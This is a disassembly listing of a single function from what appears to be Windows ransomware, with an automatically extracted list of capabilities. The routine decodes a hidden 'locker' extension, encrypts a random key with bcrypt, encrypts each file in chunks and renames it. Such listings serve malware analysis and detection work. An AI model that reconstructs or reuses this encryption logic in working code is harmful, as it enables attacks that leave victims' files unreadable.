Function at 0x40fa00
Capabilities:
Encrypt or decrypt data via bcrypt
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472f01
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x24e0
call fcn.00438640
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, edx
mov dword [ebp - 0x249c], esi
mov dword [ebp - 0x24e4], ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x40fa61
xor eax, 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x487948
push esi
call fcn.00456710
mov esi, eax
add esp, 8
mov dword [ebp - 0x24c8], esi
test esi, esi
jne 0x40faa7
push str.File_open_error_n
call fcn.004022c0
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004373d4
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push esi
call fcn.00456137
push esi
call fcn.00452861
mov ecx, edx
add esp, 0x14
mov edi, eax
mov dword [ebp - 0x24b8], ecx
or eax, ecx
jne 0x40fadf
push str.File_Size_is_Zero._n
call fcn.004022c0
push esi
call fcn.00452af5
add esp, 8
jmp 0x40fa88
test ecx, ecx
jl 0x40fdc2
jg 0x40faf5
cmp edi, 0x158
jb 0x40fdc2
push 2
push 0xffffffffffffffff
push 0xfffffea8
push esi
call fcn.00456137
push 0x64
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.0044ee30
mov ecx, dword fs:[0x2c]
add esp, 0x1c
mov eax, dword [0x4a08c8]
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov ecx, dword [ecx]
mov byte [ebp - 0x24ad], 0x2e
mov dword [ebp - 0x2498], ecx
cmp eax, dword [ecx + 4]
jle 0x40fb9d
push 0x4a08c8
call fcn.00437568
add esp, 4
cmp dword [0x4a08c8], 0xffffffff
jne 0x40fb9d
mov eax, dword [ebp - 0x24a8]
mov dword [0x49e3cc], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49e3d0], ax
mov al, byte [ebp - 0x24ad]
push 0x478370
mov byte [0x49e3d2], al
call fcn.0043798f
push 0x4a08c8
call fcn.0043751e
add esp, 8
mov al, byte [0x49e3d2]
test al, al
je 0x40fbd7
xor byte [0x49e3cc], 0x2e
xor byte [0x49e3cd], 0x2e
xor byte [0x49e3ce], 0x2e
xor byte [0x49e3cf], 0x2e
xor byte [0x49e3d0], 0x2e
xor byte [0x49e3d1], 0x2e
xor al, 0x2e
mov byte [0x49e3d2], al
mov ecx, 0x49e3cc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbe0
push esi
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push 1
push eax
call fcn.00456ae5
mov edx, dword [ebp - 0x2498]
add esp, 0x10
mov eax, dword [0x4a075c]
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fc7f
push 0x4a075c
call fcn.00437568
add esp, 4
cmp dword [0x4a075c], 0xffffffff
jne 0x40fc79
mov eax, dword [ebp - 0x24a8]
mov dword [0x4a03b4], eax
mov ax, word [ebp - 0x24a4]
mov word [0x4a03b8], ax
mov al, byte [ebp - 0x24ad]
push 0x478330
mov byte [0x4a03ba], al
call fcn.0043798f
push 0x4a075c
call fcn.0043751e
add esp, 8
mov edx, dword [ebp - 0x2498]
mov al, byte [0x4a03ba]
test al, al
je 0x40fcb9
xor byte [0x4a03b4], 0x2e
xor byte [0x4a03b5], 0x2e
xor byte [0x4a03b6], 0x2e
xor byte [0x4a03b7], 0x2e
xor byte [0x4a03b8], 0x2e
xor byte [0x4a03b9], 0x2e
xor al, 0x2e
mov byte [0x4a03ba], al
mov ecx, 0x4a03b4
lea eax, [ecx + 1]
mov dword [ebp - 0x24bc], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fcc7
sub ecx, dword [ebp - 0x24bc]
mov eax, dword [0x4a00a4]
mov dword [ebp - 0x24b4], ecx
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fd57
push 0x4a00a4
call fcn.00437568
add esp, 4
cmp dword [0x4a00a4], 0xffffffff
jne 0x40fd51
mov eax, dword [ebp - 0x24a8]
mov dword [0x49f9b8], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49f9bc], ax
mov al, byte [ebp - 0x24ad]
push 0x478350
mov byte [0x49f9be], al
call fcn.0043798f
push 0x4a00a4
call fcn.0043751e
add esp, 8
mov ecx, dword [ebp - 0x24b4]
mov al, byte [0x49f9be]
test al, al
je 0x40fd91
xor byte [0x49f9b8], 0x2e
xor byte [0x49f9b9], 0x2e
xor byte [0x49f9ba], 0x2e
xor byte [0x49f9bb], 0x2e
xor byte [0x49f9bc], 0x2e
xor byte [0x49f9bd], 0x2e
xor al, 0x2e
mov byte [0x49f9be], al
push ecx
lea eax, [ebp - 0x98]
push 0x49f9b8
push eax
call fcn.00456360
add esp, 0xc
test eax, eax
jne 0x40fdc2
push str.File_is_already_encrypted._n
call fcn.004022c0
push esi
call fcn.00452af5
add esp, 8
jmp 0x40fa88
push 0x158
lea eax, [ebp - 0x1f0]
push 0
push eax
call fcn.0044ee30
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
mov ecx, dword [eax]
mov eax, dword [0x4a056c]
cmp eax, dword [ecx + 4]
jle 0x40fe57
push 0x4a056c
call fcn.00437568
add esp, 4
cmp dword [0x4a056c], 0xffffffff
jne 0x40fe57
mov eax, dword [ebp - 0x24a8]
mov dword [0x4a0158], eax
mov ax, word [ebp - 0x24a4]
mov word [0x4a015c], ax
mov al, byte [ebp - 0x24ad]
push 0x478310
mov byte [0x4a015e], al
call fcn.0043798f
push 0x4a056c
call fcn.0043751e
add esp, 8
mov al, byte [0x4a015e]
test al, al
je 0x40fe91
xor byte [0x4a0158], 0x2e
xor byte [0x4a0159], 0x2e
xor byte [0x4a015a], 0x2e
xor byte [0x4a015b], 0x2e
xor byte [0x4a015c], 0x2e
xor byte [0x4a015d], 0x2e
xor al, 0x2e
mov byte [0x4a015e], al
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x4a0158]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1f1], al
test al, al
jne 0x40fea0
mov eax, dword [ebp - 0x24b8]
xorps xmm0, xmm0
inc dword [0x4990f4]
push 0
mov dword [ebp - 0x1e8], edi
mov dword [ebp - 0x1e4], eax
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
call fcn.004567aa
add eax, dword [0x4990f4]
push eax
mov dword [ebp - 0x24a4], edx
call fcn.004528ae
add esp, 8
xor esi, esi
call fcn.0045288d
and eax, 0x800000ff
jns 0x40ff08
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x34], al
inc esi
cmp esi, 0x20
jl 0x40fef5
mov eax, dword [ebp - 0x24e4]
mov ecx, dword [0x4970ec]
lea esi, [eax + eax*4]
shl esi, 3
lea eax, [ebp - 0x34]
add ecx, esi
mov dword [ebp - 0x24ec], esi
push ecx
push eax
call fcn.00401620
mov eax, dword [0x4970ec]
lea ecx, [ebp - 0x2498]
push 4
push ecx
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x24ac]
mov dword [ebp - 0x24ac], str.SHA1
push ecx
add eax, esi
mov dword [ebp - 0x24a8], 0
push 0x20
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24bc], eax
push ecx
push dword [eax + 0x20]
mov dword [ebp - 0x24a4], 0
mov dword [ebp - 0x2498], 0
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov esi, dword [ebp - 0x24c8]
test eax, eax
jne 0x40ffd2
push 4
lea eax, [ebp - 0x2498]
push eax
push dword [ebp - 0x2498]
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
lea eax, [ebp - 0x24ac]
push eax
push 0x20
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24bc]
push dword [eax + 0x20]
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
cmp dword [0x4939ec], 0x10
mov eax, 0x4939d8
push 0x1000
cmovae eax, dword [0x4939d8]
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xc8], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [ebp - 0xb8], xmm0
movups xmm0, xmmword [eax + 0x30]
lea eax, [ebp - 0x1494]
push eax
movups xmmword [ebp - 0xa8], xmm0
call fcn.0044ee30
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044ee30
push 0
push 0
push 0
push esi
call fcn.00456137
mov ecx, dword [ebp - 0x24b8]
add esp, 0x28
test ecx, ecx
jg 0x4100ba
jl 0x410059
cmp edi, 0x2000
jae 0x410071
mov edx, 1
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x41011c
test ecx, ecx
jg 0x4100ba
jl 0x41007f
cmp edi, 0x100000
jae 0x410097
mov edx, 4
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x41011c
test ecx, ecx
jg 0x4100ba
jl 0x4100a5
cmp edi, 0x1400000
jae 0x4100ba
mov edx, 0x200
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x41011c
push 0
push 0x12c000
push ecx
push edi
call fcn.00472600
cdq
mov dword [ebp - 0x24c0], eax
mov eax, edx
mov dword [ebp - 0x2498], eax
test eax, eax
jg 0x4100ef
jl 0x4100e8
mov edx, dword [ebp - 0x24c0]
cmp edx, 2
jae 0x4100f5
mov edx, 2
jmp 0x410108
mov edx, dword [ebp - 0x24c0]
test eax, eax
jl 0x410116
jg 0x410103
cmp edx, 0x12c00
jbe 0x410116
mov edx, 0x12c00
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
mov ecx, dword [ebp - 0x24b8]
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], eax
test ecx, ecx
jl 0x410433
jg 0x41013a
test edi, edi
je 0x410433
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044ee30
push esi
push 0x1000
lea eax, [ebp - 0x1494]
push 1
push eax
call fcn.00456ae5
add esp, 0x1c
mov dword [ebp - 0x24b4], eax
test eax, eax
js 0x410656
cmp eax, 0x1000
je 0x41018a
push esi
call fcn.004528c0
add esp, 4
test eax, eax
jne 0x410656
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044ee30
mov eax, dword [ebp - 0x24b4]
lea ecx, [ebp - 0x2494]
add esp, 0xc
cmp eax, 0x1000
setl byte [ebp - 0x24e8]
push ecx
push dword [ebp - 0x24e8]
mov ecx, dword [ebp - 0x24ec]
add ecx, dword [0x4970ec]
push eax
lea eax, [ebp - 0x1494]
push eax
call fcn.00401880
mov ecx, eax
mov dword [ebp - 0x24bc], ecx
cmp ecx, 0xffffffff
je 0x41064b
mov eax, dword [ebp - 0x24b4]
cmp eax, 0x1000
jne 0x4101fe
cmp ecx, eax
jne 0x41064b
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.00456137
push esi
push dword [ebp - 0x24bc]
lea eax, [ebp - 0x2494]
push 1
push eax
call fcn.004565f7
mov eax, dword [ebp - 0x24b4]
add esp, 0x20
mov ecx, dword [ebp - 0x24b8]
cdq
sub edi, eax
sbb ecx, edx
mov edx, dword [ebp - 0x24c0]
mov dword [ebp - 0x24b8], ecx
cmp edx, 1
jne 0x410252
cmp dword [ebp - 0x2498], 0
je 0x410421
mov eax, edx
mov esi, ecx
mov edx, dword [ebp - 0x2498]
shld edx, eax, 0xc
mov dword [ebp - 0x24b4], edx
mov edx, edi
shl eax, 0xc
sub edx, eax
sbb esi, dword [ebp - 0x24b4]
add edx, 0x1000
mov dword [ebp - 0x24bc], edx
adc esi, 0
mov dword [ebp - 0x24c4], esi
mov esi, dword [ebp - 0x24c8]
js 0x4102c8
jg 0x410296
test edx, edx
je 0x4102c8
mov ecx, dword [ebp - 0x24b4]
sub eax, 0x1000
push 1
sbb ecx, 0
push ecx
push eax
push esi
call fcn.00456137
mov ecx, dword [ebp - 0x24c4]
add esp, 0x10
mov edi, dword [ebp - 0x24bc]
mov dword [ebp - 0x24b8], ecx
jmp 0x410128
test edi, edi
jle 0x410421
mov eax, edi
mov esi, 0x1000
cdq
idiv esi
test edx, edx
cmovne esi, edx
mov dword [ebp - 0x24bc], esi
lea esi, [eax - 1]
cmovne esi, eax
mov dword [ebp - 0x24c4], esi
test esi, esi
mov esi, dword [ebp - 0x24c8]
jle 0x41031f
mov eax, dword [ebp - 0x24c4]
mov edx, 0x1000
imul edx
push 1
push edx
sub edi, eax
push eax
sbb ecx, edx
push esi
mov dword [ebp - 0x24b8], ecx
call fcn.00456137
add esp, 0x10
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044ee30
push esi
push dword [ebp - 0x24bc]
lea eax, [ebp - 0x1494]
push 1
push eax
call fcn.00456ae5
add esp, 0x1c
mov dword [ebp - 0x24b4], eax
test eax, eax
js 0x410656
push esi
call fcn.004528c0
add esp, 4
test eax, eax
jne 0x410656
push 0x1000
push eax
lea eax, [ebp - 0x2494]
push eax
call fcn.0044ee30
add esp, 0xc
lea eax, [ebp - 0x2494]
cmp dword [ebp - 0x24bc], 0x1000
setl byte [ebp - 0x24a4]
push eax
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x1494]
push dword [ebp - 0x24b4]
push eax
mov eax, dword [ebp - 0x24e4]
lea ecx, [eax + eax*4]
mov eax, dword [0x4970ec]
lea ecx, [eax + ecx*8]
call fcn.00401880
mov ecx, eax
mov dword [ebp - 0x24c4], ecx
cmp ecx, 0xffffffff
je 0x41064b
mov eax, dword [ebp - 0x24b4]
cmp eax, 0x1000
jne 0x4103e5
cmp ecx, eax
jne 0x41064b
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.00456137
push esi
push dword [ebp - 0x24c4]
lea eax, [ebp - 0x2494]
push 1
push eax
call fcn.004565f7
mov eax, dword [ebp - 0x24b4]
add esp, 0x20
mov ecx, dword [ebp - 0x24b8]
cdq
sub edi, eax
sbb ecx, edx
mov dword [ebp - 0x24b8], ecx
test ecx, ecx
jl 0x410433
jg 0x41013a
test edi, edi
jne 0x410128
push esi
push 1
lea eax, [ebp - 0x1f0]
push 0x158
push eax
call fcn.004565f7
push esi
call fcn.00452af5
mov dword [ebp - 4], 2
add esp, 0x14
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x24a8], 0x6a6b6300
mov dword [ebp - 0x24a4], 0x2e6f7d7b
mov esi, dword [eax]
mov eax, dword [0x49e4c8]
cmp eax, dword [esi + 4]
jle 0x4104c3
push 0x49e4c8
call fcn.00437568
add esp, 4
cmp dword [0x49e4c8], 0xffffffff
jne 0x4104c3
mov eax, dword [ebp - 0x24a8]
mov dword [0x4a05e4], eax
mov eax, dword [ebp - 0x24a4]
push 0x478300
mov dword [0x4a05e8], eax
call fcn.0043798f
push 0x49e4c8
call fcn.0043751e
add esp, 8
mov al, byte [0x4a05eb]
test al, al
je 0x410504
xor byte [0x4a05e4], 0x2e
xor byte [0x4a05e5], 0x2e
xor byte [0x4a05e6], 0x2e
xor byte [0x4a05e7], 0x2e
xor byte [0x4a05e8], 0x2e
xor byte [0x4a05e9], 0x2e
xor byte [0x4a05ea], 0x2e
xor al, 0x2e
mov byte [0x4a05eb], al
mov ecx, 0x4a05e4
mov dword [ebp - 0x24d0], 0
mov dword [ebp - 0x24cc], 0xf
mov byte [ebp - 0x24e0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410527
sub ecx, edx
push ecx
push 0x4a05e4
lea ecx, [ebp - 0x24e0]
call fcn.00401f50
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.0044ee30
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417340
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24e0]
cmp dword [ebp - 0x24cc], 0x10
mov eax, dword [ebp - 0x24d0]
cmovae ecx, dword [ebp - 0x24e0]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.004198a0
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00417280
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x249c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.0044e4a0
mov edx, dword [ebp - 0x18]
add esp, 8
test eax, eax
setne byte [ebp - 0x24ad]
cmp edx, 8
jb 0x410601
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4105f7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108c7
push edx
push ecx
call fcn.00437415
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24cc]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x410678
mov ecx, dword [ebp - 0x24e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41066e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108c7
jmp 0x41066e
push esi
call fcn.00452af5
jmp 0x40fa85
push str.Read_File_Error
call fcn.004022c0
push esi
call fcn.00452af5
add esp, 8
jmp 0x40fa88
push edx
push ecx
call fcn.00437415
add esp, 8
cmp byte [ebp - 0x24ad], 0
je 0x410695
push str.File_already_have_locker_Extension._n
call fcn.004022c0
add esp, 4
xor eax, eax
jmp 0x40fa8b
push 0x3fc
lea eax, [ebp - 0x494]
push 0
push eax
call fcn.0044ee30
mov eax, dword [0x4a0834]
add esp, 0xc
mov dword [ebp - 0x24a0], 0x6a6b6300
mov dword [ebp - 0x249c], 0x2e6f7d7b
cmp eax, dword [esi + 4]
jle 0x41070f
push 0x4a0834
call fcn.00437568
add esp, 4
cmp dword [0x4a0834], 0xffffffff
jne 0x41070f
mov eax, dword [ebp - 0x24a0]
mov dword [0x4a033c], eax
mov eax, dword [ebp - 0x249c]
push 0x4782f0
mov dword [0x4a0340], eax
call fcn.0043798f
push 0x4a0834
call fcn.0043751e
add esp, 8
mov al, byte [0x4a0343]
test al, al
je 0x410750
xor byte [0x4a033c], 0x2e
xor byte [0x4a033d], 0x2e
xor byte [0x4a033e], 0x2e
xor byte [0x4a033f], 0x2e
xor byte [0x4a0340], 0x2e
xor byte [0x4a0341], 0x2e
xor byte [0x4a0342], 0x2e
xor al, 0x2e
mov byte [0x4a0343], al
mov ecx, 0x4a033c
mov dword [ebp - 0x24d0], 0
mov dword [ebp - 0x24cc], 0xf
mov byte [ebp - 0x24e0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410773
sub ecx, edx
push ecx
push 0x4a033c
lea ecx, [ebp - 0x24e0]
call fcn.00401f50
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.0044ee30
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417340
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x24e0]
cmp dword [ebp - 0x24cc], 0x10
mov eax, dword [ebp - 0x24d0]
cmovae ecx, dword [ebp - 0x24e0]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.004198a0
lea ecx, [ebp - 0x84]
call fcn.00417280
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x494]
push 0x4879e0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x18]
add esp, 0x10
cmp edx, 8
jb 0x410847
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41083d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108cc
push edx
push ecx
call fcn.00437415
add esp, 8
mov edx, dword [ebp - 0x24cc]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x410891
mov ecx, dword [ebp - 0x24e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410887
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108cc
push edx
push ecx
call fcn.00437415
add esp, 8
lea eax, [ebp - 0x494]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
jmp 0x40fa8b
call fcn.0045219a
call fcn.0045219a
int3